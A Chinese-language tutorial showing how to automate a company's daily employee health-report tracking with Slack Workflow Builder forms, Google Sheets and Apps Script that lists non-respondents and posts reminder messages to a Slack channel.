Phillips — Hostreviews\.co\.uk](https://unsplash.com/@hostreviews?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}](/assets/d61062833c1a/1*KTyHirY-qlH1kNTT4a_XjQ.jpeg) + +Photo by [Stephen Phillips — Hostreviews\.co\.uk](https://unsplash.com/@hostreviews?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"} +### 前言 + +因應全面居家工作,公司關心所有成員的健康,每日均需回報身體有無狀況並由 People Operations 統一紀錄管理。 +#### 我們的 優化前 的 Flow + + +![](/assets/d61062833c1a/1*brnD44gjwyWEyK14dQYfxQ.jpeg) + +1. \[自動化\] Slack Channel 每日早上 10 點定時發送提醒大家健康表單的訊息\(優化前唯一自動化的地方\) +2. 員工點擊連結打開 Google Form 填寫健康問題 +3. 資料存回 Google Sheet 回應紀錄 +4. \[人工\] People Operations 於每日接近下班時比對名單篩出忘記填寫的員工 +5. \[人工\] 於 Slack Channel 發送填寫提醒訊息 & 一個一個 tag 忘記填寫的人 + + + +> _以上是敝司的健康回報追蹤流程,每間公司依照規模及運作方式一定有所不同,本文僅以此做為優化範例,學習 Slack Workflow 使用、基本 App Script 撰寫,實際還是要 by case 實作。_ + + + + +#### 問題點 +- 需跳出 Slack Context 使用瀏覽器打開 Google Form 網頁才能填寫,尤其在手機上更不方便 +- Google Form 僅能自動帶入 Email 訊息,無法自動加上填寫人名稱、部門資訊 +- 每日人工比對、人工 tag 非常花費人力時間 + +#### 解決方案 + +做過蠻多自動化的小東西,這個流程資料源固定\(員工名單\)、條件單純、動作很例行;一看就覺得很適合自動化,一開始沒做是因為找不到好的填寫方式\(實際是找不到有趣可研究的點\);所以也就放著沒管,直到看到 [海總理的這則 PO 文](https://www.facebook.com/tzangms/posts/10157880898787657){:target="_blank"} 才發現 Slack Workflow 不只是可以做定時傳訊息,還有 Form 表單的功能: + + +![圖片取自: [海總理](https://www.facebook.com/tzangms/posts/10157880898787657){:target="_blank"}](/assets/d61062833c1a/1*yKBpGlHEVMj4QbjGuB7aHQ.jpeg) + +圖片取自: [海總理](https://www.facebook.com/tzangms/posts/10157880898787657){:target="_blank"} + +這下手就開始癢了啊!! + +如果能搭配 Slack Workflow From 加上傳訊息的自動化,豈不是能解決上面提到的 **所有痛點** ,原理可行!於是開始著手實作。 +#### 優化後 的 Flow + +首先上一下優化後的流程及結果。 + + +![](/assets/d61062833c1a/1*jT5dAICg85lyCF0sJwk8bQ.png) + +1. \[自動化\] Slack Channel 每日早上 10 點定時發送提醒大家健康表單的訊息 +2. 從 Google Form 或 Slack Workflow Form 填寫健康問題 +3. 資料均存回 Google Sheet 回應紀錄 +4. People Operations 於每日接近下班時點擊「產生未填寫名單」按鈕 +5. \[自動化\] 使用 App Script 比對員工名單、填寫名單篩出未填寫名單 +6. \[自動化\] 點擊「產生&發送訊息」自動發送未填寫提醒&自動 tag 對象 +7. 收工! + +#### 成效 + +\(個人預估\) +- 填寫時間每位員工每日能減少約 30 秒 +- People Operations 處理這件事每日能減少約 20 ~ 30 分鐘 + +### 運作原理 + + +![](/assets/d61062833c1a/1*xbZD2kkoYvWifQv8qyV_MQ.png) + + +透過撰寫 App Script 來管理 Sheet。 +1. 將外部輸入的資料都存放在 Responses Sheet +2. 撰寫 App Script Function 將 Responses 的資料依照填寫日期分發到各日期的 Sheet,若無則建立新的日期 Sheet,Sheet 名稱直接使用日期,方便辨識取用 +3. 取得當前日期的 Sheet 與員工名單比對,產生未填寫名單 Sheet 的資料 +4. 讀取未填寫名單 Sheet 組合出訊息並發送到指定 Slack Channel + +- 串接 Slack APP API 可自動讀取指定 Channel 匯入員工名單 +- 訊息內容使用 Slack UID Tag `<@UID>` 就能標記未填寫的成員。 + +#### 身份識別 + +串起 Google From 與 Slack 的身份識別資訊是 Email,所以請確保公司同仁都是使用公司 Email 填寫 Google Form、Slack 個人資訊部分也都有填寫公司 Email。 +### 開始動手做 + +問題、優化方式、成果講完後,接下來來到實作環節;讓我們一起一步步完成這個自動化 Case。 + + +> _篇幅有點長,可依照略過自己已了解的區塊,或直接從完成結果建立副本,邊看邊改邊學。_ + + + + + +完成結果表單: [https://forms\.gle/aqGDCELpAiMFFoyDA](https://forms.gle/aqGDCELpAiMFFoyDA){:target="_blank"} + +完成結果 Google Sheet: + + +[![](https://lh7-us.googleusercontent.com/docs/AHkbwyJ1ypxX3zGwj1swDPSHovOJC_A2eW-sFDKPJO5iRD82y7adF2SKqDluUOOjqnbnezy7RyBFtsGcuKyrUWbPk-NNbMfsPl3rUmfiYLt2F611-cHP_Ig=w1200-h630-p)](https://docs.google.com/spreadsheets/d/1PTk7G7r4P1sGk46sYjomUbfRO9ouPRF0wbmc84ZXA4c/edit?resourcekey#gid=953539493){:target="_blank"} + +#### 建立健康回報 Google Form 表單 & 連結回覆到 Google Sheet + +步驟省略,有問題請直接 Google,這邊假定你已經建立&連結好了健康回報表單。 + +**表單要記得勾選「Collect emails」:** + + +![](/assets/d61062833c1a/1*DKVg1oWvx0p2K_aYslK5ZQ.png) + + +收集填寫者的 Email 以利之後比對名單用。 + +**怎麼連結回覆到 Google Sheet?** + + +![](/assets/d61062833c1a/1*Ie0WvV5zWNubaYq_hBbeNw.jpeg) + + +於表單的上方切換到「回覆」點擊「Google Sheet Icon」即可。 + +**更改連結的 Sheet 名稱:** + + +![](/assets/d61062833c1a/1*1A3m2zx1hI039TgWt3iU5A.png) + + +這邊建議將連結的 Sheet 名稱由 Form Responses 1 改為 Responses 方便使用。 +#### 建立 Slack Workflow Form 填寫入口 + +傳統的 Google From 填寫入口有了之後,我們先來新增 Slack 填寫方式。 + + +![](/assets/d61062833c1a/1*pkCpzbA6YLORazNfQS2ntA.jpeg) + + +於 Slack 任意對話視窗中找到「 **輸入匡 下方** 」的「藍色閃電⚡️」點擊下去 + + +![](/assets/d61062833c1a/1*GpUOoQ2b_W7bMeeOlkosoA.jpeg) + + +在選單底下「Search shortcuts」中輸入「workflow」選擇「Open Workflow Builder」 + + +![](/assets/d61062833c1a/1*qgt-WjyrG_5OtaUjjt6r9Q.jpeg) + + +這邊會列出你建立的或參與的 Workflow,點選右上角「Create」建立新 Workflow + + +![](/assets/d61062833c1a/1*3qUC2S7sskImnDmXcnqMtg.jpeg) + + +第一步,輸入 workflow 名稱(Workflow Builder 介面顯示用) + + +![](/assets/d61062833c1a/1*q94eI0z8ljhBrjrPEGWa8w.jpeg) + + +Workflow 觸發方式,選擇「Shortcut」 + +目前一共有 5 種 slack workflow 觸發時間點: +- Shortcut:手動觸發「藍色閃電⚡️」選項,會出現在 workflow 選單中,點擊即可開始 workflow。 +- New channel member:當 Target Channel 有新成員加入時…\. \(EX: 歡迎訊息\) +- Emoji reactions:當有人對 Target Channel 中的訊息按下指定表情符號時…\(或許可拿來做重要訊息已讀請按 XXX Emoji,以此知道誰已讀了?\) +- Scheduled date & time:排程,指定時間到時…\(EX: 定時發提醒回報訊息\) +- Webhook:外部 Webhook 觸發,進階功能,可與第三方或自己架 API 串起內部工作流程。 + + +這邊我們選擇「Shortcut」建立手動觸發選項。 + + +![](/assets/d61062833c1a/1*2NEcjJtkDwuQtF-DmnhgOg.jpeg) + + +選擇這個 Workflow Shortcut 要加入在「哪一個 Channel 輸入匡」之下及輸入「要顯示的名稱」 + + +> \*一個 workflow shortcut 僅能加入在一個 channel 中 + + + + + + +![](/assets/d61062833c1a/1*Qq-nJr66qoGsXxhPEsUhWw.jpeg) + + +Shortcut 建立完成!開始建立 workflow 步驟,點擊「Add Step」加入步驟 + + +![](/assets/d61062833c1a/1*aUerPfBPlOhkNGoeiougGA.jpeg) + + +選擇「Send a form」Step + + +![](/assets/d61062833c1a/1*DBPCTHNyKBuJIvEJCyexyg.png) + + +**Title** :輸入表單標題 + +**Add a question** :輸入第一個問題的題目(可自行在標題標注問題編號 ex: 1\.,2\.,3…\.) + +**Choose a question type** : +- Short answer:單行輸入匡 +- Long answer:多行輸入匡 +- Select from a list:單選列表 +- Select a person:選擇一位同個 Workspace 內的成員 +- Select a channel or DM:選擇一位同個 Workspace 內的成員 或 Group DM 或 Channel + + + +![](/assets/d61062833c1a/1*pYIUTLaHVzHzFkAypN2_sw.png) + + +「Select from a list」為例: +1. Add list item:可新增一個選項 +2. Default selection:選擇預設選項 +3. Make theis required:將此問題設為必填 + + + +![](/assets/d61062833c1a/1*hb1l9_E8EmHgUqIvHuBqhw.png) + +1. Add Question:可新增更多問題 +2. 右方「↓」「⬆」可調整順序、「✎」可展開編輯 +3. 可選擇是否要將表單填寫內容回傳至 Channel 或 某人 + + + +![](/assets/d61062833c1a/1*WsHqG3hxgivNfFXakMgVrQ.png) + + +也可以選擇傳送回覆到…: +- Person who clicked …\.:點擊這個表單的人(形同填寫的人) +- Channel where workflow started:這個 workflow 添加到的 Channel + + + +![](/assets/d61062833c1a/1*xyrdyrx9ACpWTcjAtG-rTQ.png) + + +表單完成後點擊「Save」儲存步驟。 + + +> \*這邊我們取消勾選將表單填寫內容回傳,因為想要在後面步驟自行客製化訊息內容。 + + + + +#### 將 Slack workflow from 與 Google Sheet 串接 + +如果還沒有將 Google Sheet App 加入到 Slack 可先 [點此安裝 APP](https://slack.com/apps/A01AWGA48G6-google-sheets-for-workflow-builder){:target="_blank"} 。 + + +![](/assets/d61062833c1a/1*da6ofGd-N0NsBs4LNDsllQ.png) + + +繼上一步後,點擊「Add Step」加入新步驟,我們選擇 Google Sheets for Workflow Builder 的「Add a spreadsheet row」步驟。 + + +![](/assets/d61062833c1a/1*6h_t9tPiam735pth-n0AOw.png) + +1. 首先要完成 Google 帳號的授權,點擊「Connect account」 +2. Select a spreadsheet:選擇目標回應的 Google Sheet,請選擇一開始建立的 Google Form 之 Google Sheet +3. Sheet:同上 +4. Column name:第一個欲填入值的 Column,這邊先選問題ㄧ + + + +![](/assets/d61062833c1a/1*XPwkmIHRj8WKEM27kH3YQg.png) + + +點擊右下角「Insert Variable」選擇「Response to 問題一…」,插入之後可由左下角「Add Column」加入其他欄位,以此類推完成問題二、問題三…\. + + +![](/assets/d61062833c1a/1*wX7vJDvdneYrid0nECUIeg.png) + + +填寫人的 Email,可選擇「Person who submitted form」 + + +![](/assets/d61062833c1a/1*lQqJ0x7CeVK9u7g2R2VktQ.png) + + +在點擊插入的變數,選擇「Email」即可自動帶入填寫人的 Email。 +- Mention \(default\):tag 該 User,Raw data 是 `<@User ID>` +- Name:User 名稱 +- Email:User Email + + + +![](/assets/d61062833c1a/1*CYKDEtnuCKuSgSbAbunB4A.png) + + +Timestamp 欄位比較 tricky 等下再補充設定方法,先點「Save」儲存後回到頁面右上角按「Publish」發布 Shortcut。 + + +![](/assets/d61062833c1a/1*k4rJidYWiVHgco3NYxmA3w.png) + + +看到發布成功訊息後,可以回到 Slack Channel 試試看。 + + +![](/assets/d61062833c1a/1*XaQ75kM9BnKgcmAEl63fPg.png) + + +這時候點閃電之後會出現剛剛建立的 Workflow form,可以點來填寫玩玩。 + + +![](/assets/d61062833c1a/1*W5v-uUjhVTik05TLDwM-uQ.png) + + + +![左:電腦 / 右:手機版](/assets/d61062833c1a/1*63CaYi-HlPWRqxExL-GseQ.jpeg) + +左:電腦 / 右:手機版 + +我們可以填寫資訊「Submit」測試看看是否正常。 + + +![](/assets/d61062833c1a/1*xt7JeHRojIWgJCYrw8sKdw.png) + + +成功!但可以看到 Timestamp 欄位為空,下一步我們來解決這個問題。 +#### Slack workflow from 取得填寫時間 + +Slack workflow 沒有 current timestamp 的 global variable 可用,至少目前還沒有,只找到一篇 [reddit 上的許願文章](https://www.reddit.com/r/Slack/comments/l1gzhf/is_there_a_global_timestamp_variable_for_the/){:target="_blank"} 。 + +一開始異想天開在 Column Value 輸入 `=NOW()` 但這樣所有紀錄的時間永遠是當前時間,完全錯誤。 + +同樣拜 [reddit 那篇文章](https://www.reddit.com/r/Slack/comments/l1gzhf/is_there_a_global_timestamp_variable_for_the/){:target="_blank"} 大神網友提供的 tricky 方法,可以建一個乾淨的 Timestamp Sheet 裡面放一個列資料、欄位 `=NOW()` 先用 Update 迫使欄位變為最新,在 Select 得到當前 Timestamp。 + + +![](/assets/d61062833c1a/1*54QcEy5QPBt3VXuRSe7-Vw.png) + + +如上圖結構,點此 [查看範例](https://docs.google.com/spreadsheets/d/1PTk7G7r4P1sGk46sYjomUbfRO9ouPRF0wbmc84ZXA4c/edit?resourcekey#gid=1106265498){:target="_blank"} 。 +- Row: 類似 ID 的用處,直接設「1」,之後設定 Select & Update 會要用到,告知資料列。 +- Timestamp:設定值 `=NOW()` 讓他永遠顯示當前時間 +- Value:用以觸發 Timestamp 欄位更新時間,內容隨意,這邊是把填寫人的 Email 塞進來放,反正只要能觸發更新就好。 + + + +> _可在 Sheet 上按右鍵「Hide Sheet」隱藏此 Sheet,因為沒有要讓外部使用。_ + + + + + +回到 Slack Workflow Builder 編輯剛剛 建立的 workflow form。 + +點擊「Add Step」新增步驟: + + +![](/assets/d61062833c1a/1*5lIcdnMQnmglNxaiY8fNUQ.png) + + +往下滑選擇「Update a spreadsheet row」 + + +![](/assets/d61062833c1a/1*kRBL8iptGYd2Gsy7Lv6gGA.png) + + +「Select a spreadsheet」選擇剛剛的 Sheet,「Sheet」選擇新建立的「Timestamp」Sheet。 + +「Choose a column to search」選擇「Row」,Define a cell value to find 輸入「1」。 + + +![](/assets/d61062833c1a/1*H8pb9TKvazhqiKKSCKcwCQ.png) + + +「Update these columns」「Column name」選擇「Value」、「Value」點選「Insert variable」\->「Person who submitted」\->「選擇 Email」。 + +點「Save」完成!現在已經完成觸發 Sheet 中的 timestamp 更新了,再來是讀取出來用。 + + +![](/assets/d61062833c1a/1*avXovKvXz9mlHOq2NWaf3A.png) + + +回到編輯頁後再點一次「Add Step」加入新步驟,這次選「Select a spreadsheet row」我們要讀取 Timestamp 出來。 + + +![](/assets/d61062833c1a/1*xEbDUkWd3utQ9QpllqSNHg.png) + + +Search 部分同「Update a spreadsheet row」,按「Save」。 + + +![](/assets/d61062833c1a/1*VO3lfeTe1bxlL3xN3_wtwQ.png) + + +Save 完回到步驟列表頁,我們可以把滑鼠移到步驟上用拖曳更改順序。 + +將順序改「Update a spreadsheet row」\->「Select a spreadsheet」\->「Add a spreadsheet row」。 + +意即:Update 觸發 timestamp 更新 \-> 讀取 Timestamp \-> 在新增 Row 時拿來用。 + +在「Add a spreadsheet row」點「Edit」編輯: + + +![](/assets/d61062833c1a/1*8IH_AJZn0YHFk5obccmUYg.png) + + +拉到最下面按左下角「Add Column」在點右下角「Insert a variable」,找到「Select a spreadsheet」Section 中的「Timestamp」變數,注入進去。 + + +![](/assets/d61062833c1a/1*-4vk8fjRwkIVSY4Pu-C6VA.png) + + +按「Save」儲存步驟後回到列表頁,右上角點「Publish Change」發布更改。 + +這時候我們再測試一次 workflow shortcut 看看 timestamp 有沒有正常寫入。 + + +![](/assets/d61062833c1a/1*GyJ-55XxVEcZ6Cb1Q_H-WQ.png) + + +成功! +#### Slack workflow form 增加填寫回執 + +同 Google Form 填寫回執,Slack workflow form 也可以。 + +在編輯步驟頁我們可以再加入一個步驟,點擊「Add Step」。 + + +![](/assets/d61062833c1a/1*16JMg7a_YzUHnnY6JtBrGw.png) + + +這次選擇「Send a message」 + + +![](/assets/d61062833c1a/1*2CJuPDtuaTM9P5wIKwPspQ.png) + + +「Send this message to」選擇「Person who submitted form」 + + +![](/assets/d61062833c1a/1*xKh_l7A-z31B6rQPboFTAA.png) + + +訊息內容依序輸入題目名稱、「Insert a variable」選擇「Response to 題目 XXX」,也可在最後插入「Timestamp」,按「Save」儲存步驟後再按「Publish Changes」即可! + + +> _另外也可使用「Send a message」將填寫結果傳送到特定 Channel 或 DM。_ + + + + + + +![](/assets/d61062833c1a/1*gfTjTnaNmu-aPj0MuF6M_Q.png) + + +成功! + +Slack workflow form 的設定大概到此結束,其他玩法可以自由搭配發揮。 +### Google Sheet with App Script\! + +接下我們需要撰寫 App Script 來處理填寫資料。 + + +![](/assets/d61062833c1a/1*04KBQF7e4lCjQm5XeHgVrA.png) + + +首先在 Google Sheet 上方工具欄選擇「Tools」\->「Script editor」 + + +![](/assets/d61062833c1a/1*wlg8D_1DHONj__M1dSBCxw.png) + + +可以點擊左上角給專案一個名稱。 + +現在我們可以開始撰寫 App Script!App Script 是基於 Javascript 設計,所以可以直接使用 Javascript 程式碼用法搭配 Google Sheet 的 lib。 +#### 將 Responses 的資料依照填寫日期分發到各日期的 Sheet + + +![](/assets/d61062833c1a/1*T5ExI_5aSf7QY5Zj_gJ3eg.png) + +```javascript +function formatData() { + var bufferSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('Responses') // 儲存回覆的 Sheet 名稱 + + var rows = bufferSheet.getDataRange().getValues(); + var fileds = []; + var startDeleteIndex = -1; + var deleteLength = 0; + for(index in rows) { + if (index == 0) { + fileds = rows[index]; + continue; + } + + var sheetName = rows[index][0].toLocaleDateString("en-US"); // 將 Date 轉換成 String,使用美國日期格式 MM/DD/YYYY + var sheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName(sheetName); // 取得 MM/DD/YYYY Sheet + if (sheet == null) { // 若無則新增 + sheet = SpreadsheetApp.getActiveSpreadsheet().insertSheet(sheetName, bufferSheet.getIndex()); + sheet.appendRow(fileds); + } + + sheet.appendRow(rows[index]); // 將資料新增至日期 Sheet + if (startDeleteIndex == -1) { + startDeleteIndex = +index + 1; + } + deleteLength += 1; + } + + if (deleteLength > 0) { + bufferSheet.deleteRows(startDeleteIndex, deleteLength); // 搬移到指定 Sheet 後,移除 Responses 裡的資料 + } +} +``` + +在 Code 區塊中貼上以上程式碼,並按「control」\+「s」儲存。 + +再來我們要在 Sheet 中新增觸發按鈕( **只能手動按按鈕觸發,無法在資料寫入時做自動分** ) + + +![](/assets/d61062833c1a/1*XvugOM6drupik0wejbBnnA.png) + +1. 首先在建立一個新的 Sheet,取名「未填寫名單」 +2. 上方工具列選擇「Insert」\->「Drawing」 + + + +![](/assets/d61062833c1a/1*BG70QTiE-8QNvlp31jDBMA.png) + + +使用此介面,拉出一個按鈕。 + + +![](/assets/d61062833c1a/1*BXXmUWkal7XjluhLcDaSIQ.png) + + +「Save and Close」後可調整、移動按鈕;點擊右上角「…」選擇「Assign script」 + + +![](/assets/d61062833c1a/1*nx2qjDTUKeyorO0W9nOxKA.png) + + +輸入「formatData」function 名稱。 + +可點擊加入的按鈕試試功能 + + +![](/assets/d61062833c1a/1*eZpg-qejhpuPgUY7KDg00Q.png) + + +若出現 「Authorization Required」則點選「Continue」完成驗證 + + +![](/assets/d61062833c1a/1*hIgRtqKEFs0tsXDxfNTaOg.png) + + +在身份驗證的過程中會出現「Google hasn’t verified this app」這是正常的,因為我們寫的 App Script 沒有經過 Google 驗證,不過沒關係這是寫給自己用的。 + +可點選左下角「Advanced」\->「Go to Health Report \(Responses\) \(unsafe\)」 + + +![](/assets/d61062833c1a/1*QUkmTD1WlEzw7cqW97ll6Q.png) + + +點擊「Allow」 + + +![](/assets/d61062833c1a/1*0ZPVBwOR2bB4QPsTGX_yCA.png) + + + +> _App Script 執行中會顯示「Running Script」這時候請勿再按,避免重複執行。_ + + + + + + +![](/assets/d61062833c1a/1*i12l4Q5Y2N9bM9CzTo6XDg.png) + + + +> _顯示執行成功後,才能再次執行。_ + + + + + + +![](/assets/d61062833c1a/1*NbOfqAwIYSUAtJ32hSEOCQ.png) + + +成功!將填寫資料依照日期分組。 +#### 取得當前日期的 Sheet 與員工名單比對,產生未填寫名單 Sheet 的資料 + +我們再加入一段 Code: +```javascript +// 與員工名單 Sheet & 本日填寫 Sheet 比對,產出未填寫名單 +function generateUnfilledList() { + var listSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('員工名單') // 員工名單 Sheet 名稱 + var unfilledListSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('未填寫名單') // 未填寫名單 Sheet 名稱 + var today = new Date(); + var todayName = today.toLocaleDateString("en-US"); + + var todayListSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName(todayName) // 取得本日 MM/DD/YYYY Sheet + if (todayListSheet == null) { + SpreadsheetApp.getUi().alert('找不到'+todayName+'本日的 Sheet 或請先執行「整理填寫資料」'); + return; + } + + var todayEmails = todayListSheet.getDataRange().getValues().map( x => x[1] ) // 取得本日 Sheet Email Address 欄位資料列表 (1 = Column B) + // index start from 0, so 1 = Column B + // output: Email Address,zhgchgli@gmail.com,alan@gamil.com,b@gmail.com... + todayEmails.shift() // 移除第一個資料,第一個是欄位名稱「Email Address」無意義 + // output: zhgchgli@gmail.com,alan@gamil.com,b@gmail.com... + + unfilledListSheet.clear() // 清除未填寫名單...準備重新填入資料 + unfilledListSheet.appendRow([todayName+" 未填寫名單"]) // 第一行顯示 Sheet 標題 + + var rows = listSheet.getDataRange().getValues(); // 讀取員工名單 Sheet + for(index in rows) { + if (index == 0) { // 第一列是標題欄位列,存下來,讓後續產生資料也可補上第一列標題 + unfilledListSheet.appendRow(rows[index]); + continue; + } + + if (todayEmails.includes(rows[index][3])) { // 如果本日 Sheet Email Address 中有此員工的 Email 則代表有填寫,continue 略過... (3 = Column D) + continue; + } + + unfilledListSheet.appendRow(rows[index]); // 寫入一行資料到未填寫名單 Sheet + } +} +``` + +一樣儲存後,照前面加入 Code 的方法,再加入一個按鈕並 Assign script — 「generateUnfilledList」。 + +完成後可點擊測試: + + +![](/assets/d61062833c1a/1*LCvfyjnvk3yCaoFnsvVhHg.png) + + +未填寫名單產生成功!如果沒有出現內容請先確定: +- 員工名單已填寫,或可先輸入測試資料 +- 要先完成「整理填寫資料」動作 + +#### 讀取未填寫名單 Sheet 組合出訊息並發送到指定 Slack Channel + +首先我們要加入 Incoming WebHooks App 到 Slack Channel,我們會透過此媒介來傳送訊息。 + + +![](/assets/d61062833c1a/1*AgGLiLsyvenK-LRWI9rlKg.png) + +1. Slack 左下角「Apps」\->「Add apps」 +2. 右邊搜尋匡搜尋「incoming」 +3. 點擊「Incoming WebHooks」\->「Add」 + + + +![](/assets/d61062833c1a/1*DUcwdLTKt33Fa-jNlW8MkA.png) + + + +![](/assets/d61062833c1a/1*v8Z-5vEM043F82TMiZk2lw.png) + + +選擇未填寫訊息想要傳到的 Channel。 + + +![](/assets/d61062833c1a/1*SRciom_ygU0JDKK9ATY1FQ.png) + + +記下最上方的「Webhook URL」 + + +![](/assets/d61062833c1a/1*kp1QDIEwzQtmfzUwZIDTSg.png) + + +往下滑可設定傳送訊息時,傳送 Bot 顯示的名稱及大頭貼;改完記得按「Save Settings」。 + +回到我們的 Google Sheet Script + +再加入一段 Code: +```javascript +function postSlack() { + var ui = SpreadsheetApp.getUi(); + var result = ui.alert( + '您確定要發送訊息?', + '發送未填寫提醒訊息到 Slack Channel', + ui.ButtonSet.YES_NO); + // 避免誤觸,先詢問確認 + + if (result == ui.Button.YES) { + var unfilledListSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('未填寫名單') // 未填寫名單 Sheet 名稱 + var rows = unfilledListSheet.getDataRange().getValues(); + var persons = []; + for(index in rows) { + if (index == 0 || index == 1) { // 略過標題、欄位標題那兩行 + continue; + } + + var person = (rows[index][4] == "") ? (rows[index][2]) : ("<@"+rows[index][4]+">"); // 標記對象,如果有 slack uid 優先使用,沒有則單純顯示暱稱;2 = Column B / 4 = Column E + if (person == "") { // 都沒視為異常資料,忽略 + continue; + } + persons.push("• "+person+'\n') // 將對象存入陣列 + } + + if (persons.length <= 0) { // 無對象需要被標記通知時,大家都有填,取消訊息送出 + return; + } + + var preText = "*[健康回報表公告:loudspeaker:]*\n公司關心各位的身體健康,煩請以下隊友記得每日填寫健康狀況回報,謝謝:wink:\n\n今日未填健康狀況回報名單\n\n" // 訊息開頭內容... + var postText = "\n\n填寫健康狀況回報能讓公司了解隊友們的身體狀況,煩請隊友們每日都要確實填寫唷>< 謝謝大家:woman-bowing::skin-tone-2:" // 訊息結尾內容... + var payload = { + "text": preText+persons.join('')+postText, + "attachments": [{ + "fallback": "這邊可放 Google Form 填寫連結", + "actions": [ + { + "name": "form_link", + "text": "前往健康狀況回報", + "type": "button", + "style": "primary", + "url": "這邊可放 Google Form 填寫連結" + } + ], + "footer": ":rocket:小提示:點擊輸入匡下方的「:zap:️閃電」->「Shortcut Name」,即可直接填寫。" + } + ] + }; + var res = UrlFetchApp.fetch('這邊輸入你 slack incoming app 的 Webhook URL',{ + method : 'post', + contentType : 'application/json', + payload : JSON.stringify(payload) + }) + } +} +``` + +一樣儲存後,照前面加入 Code 的方法,再加入一個按鈕並 Assign script — 「postSlack」。 + +完成後可點擊測試: + + +![](/assets/d61062833c1a/1*6vD5h6VQhYMRTpiT5ncfMQ.png) + + + +![](/assets/d61062833c1a/1*gwgJNkj3D4itq-xTGNctDw.png) + + +成功!!!\(顯示 @U123456 沒成功標記人是因為 ID 是我亂打的\) + +到此主要的功能都已完成! + + +> **_備註_** + + + + + +> _請注意官方建議使用新的 Slack APP API 的 [chat\.postMessage](https://api.slack.com/methods/chat.postMessage){:target="_blank"} 來傳送訊息,Incoming Webhook 簡便的這個方式之後會棄用,這邊偷懶沒有使用,可搭配下一章「匯入員工名單」會需要 Slack App API 一起調整成新方法。_ + + + + + + +![](/assets/d61062833c1a/1*QfgJL_Xb9JhgQnPGjU2CXg.png) + +#### 匯入員工名單 + +這邊會需要我們創建一個 Slack APP。 + +1\.前往 [https://api\.slack\.com/apps](https://api.slack.com/apps){:target="_blank"} + +2\. 點擊右上角「Create New App」 + + +![](/assets/d61062833c1a/1*38It1hdMGq-Lr6hlPIcsWQ.png) + + +3\. 選擇「 **From scratch** 」 + + +![](/assets/d61062833c1a/1*-6FB9vEkju_NszxRrb9LKA.png) + + +4\. 輸入「 **App Name** 」跟 你想要加入的 Workspace + + +![](/assets/d61062833c1a/1*8OPXRdVPW5xHpe1blQDh6w.png) + + +5\. 建立成功後,在左邊選單選擇「OAuth & Permissions」設定頁 + + +![](/assets/d61062833c1a/1*ougV73wzEMnCZ1C3rtx8xg.png) + + +6\. 往下滑到 Scopes 區塊 + + +![](/assets/d61062833c1a/1*SprZwCDHq0gtdlN7O2sc-A.png) + + +依次「Add an OAuth Scope」以下項目: +- [**channels:read**](https://api.slack.com/scopes/channels:read){:target="_blank"} +- [**users:read**](https://api.slack.com/scopes/users:read){:target="_blank"} +- [**users:read\.email**](https://api.slack.com/scopes/users:read.email){:target="_blank"} +- 如果想改用 APP 發訊息可在此加入 [**chat\.postMessage**](https://api.slack.com/methods/chat.postMessage){:target="_blank"} + + +7\. 回到最上面點擊「Install to workspace」or「Reinstall to workspace」 + + +![](/assets/d61062833c1a/1*iCmyMNlLwjhR9qsk-aTfxA.png) + + + +> _\*如果 Scopes 有新增,也要回來這點重新安裝。_ + + + + + +8\. 安裝完成,取得複製 `Bot User OAuth Token` + +9\. 使用網頁版 Slack 打開想要匯入名單的 Channel + + +![](/assets/d61062833c1a/1*JK0omZIhk1fmP1TOkE2dpg.png) + + +從瀏覽器取得網址: +``` +https://app.slack.com/client/TXXXX/CXXXX +``` + +其中 `CXXXX` 就是這個 Channel 的 Channel ID,記下此訊息。 + +10\. + +回到我們的 Google Sheet Script + +再加入一段 Code: +```javascript +function loadEmployeeList() { + var formData = { + 'token': 'Bot User OAuth Token', + 'channel': 'Channel ID', + 'limit': 500 + }; + var options = { + 'method' : 'post', + 'payload' : formData + }; + var response = UrlFetchApp.fetch('https://slack.com/api/conversations.members', options); + var data = JSON.parse(response.getContentText()); + for (index in data["members"]) { + var uid = data["members"][index]; + var formData = { + 'token': 'Bot User OAuth Token', + 'user': uid + }; + var options = { + 'method' : 'post', + 'payload' : formData + }; + var response = UrlFetchApp.fetch('https://slack.com/api/users.info', options); + var user = JSON.parse(response.getContentText()); + + var email = user["user"]["profile"]["email"]; + var real_name = user["user"]["profile"]["real_name_normalized"]; + var title = user["user"]["profile"]["title"]; + var row = [title, real_name, real_name, email, uid]; // 依照 Column 填入 + + var listSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('員工名單'); // 員工名單 Sheet 名稱 + listSheet.appendRow(row); + } +} +``` + +但這次我們不需要再加入按鈕,因為匯入僅第一次需要;所以只需存擋後直接執行即可。 + + +![](/assets/d61062833c1a/1*rkw-79xbgd3Nn99fDnLWDQ.png) + + +首先按「control」\+「s」存檔,上方下拉選單改選擇「loadEmployeeList」,點擊「Run」就會開始匯入名單到員工名單 Sheet。 +#### 手動新增新員工資料 + +爾後如果有新員工加入,可直接在員工名單 Sheet 新增一列,填入資訊,Slack UID 可在 Slack 上直接查詢: + + +![](/assets/d61062833c1a/1*7EF6ghe032Pp832_61Ui0w.png) + + +點擊要查看 UID 的對象,點擊「View full profile」 + + +![](/assets/d61062833c1a/1*uKOp7Xe7AQ4ODKR2t8iDMw.png) + + +點擊「More」選擇「Copy member ID」即是 UID。 `UXXXXX` +### DONE! + +以上所有步驟都已完成,可以開始自動化的追縱員工的健康狀況。 + +完成檔如下,可直接從以下 Google Sheet 建立副本修改後使用: + + +[![](https://lh7-us.googleusercontent.com/docs/AHkbwyJ1ypxX3zGwj1swDPSHovOJC_A2eW-sFDKPJO5iRD82y7adF2SKqDluUOOjqnbnezy7RyBFtsGcuKyrUWbPk-NNbMfsPl3rUmfiYLt2F611-cHP_Ig=w1200-h630-p)](https://docs.google.com/spreadsheets/d/1PTk7G7r4P1sGk46sYjomUbfRO9ouPRF0wbmc84ZXA4c/edit?resourcekey#gid=922128927){:target="_blank"} + +### 補充 +- 如果想要用 Scheduled date & time 定時發送 form 訊息,要注意這情況下的 form 只能被填一次,所以不適合在這邊使用…(至少目前版本還是這樣),所以 Scheduled 填寫提醒訊息依然只能用純文字+Google Form 連結。 + + + 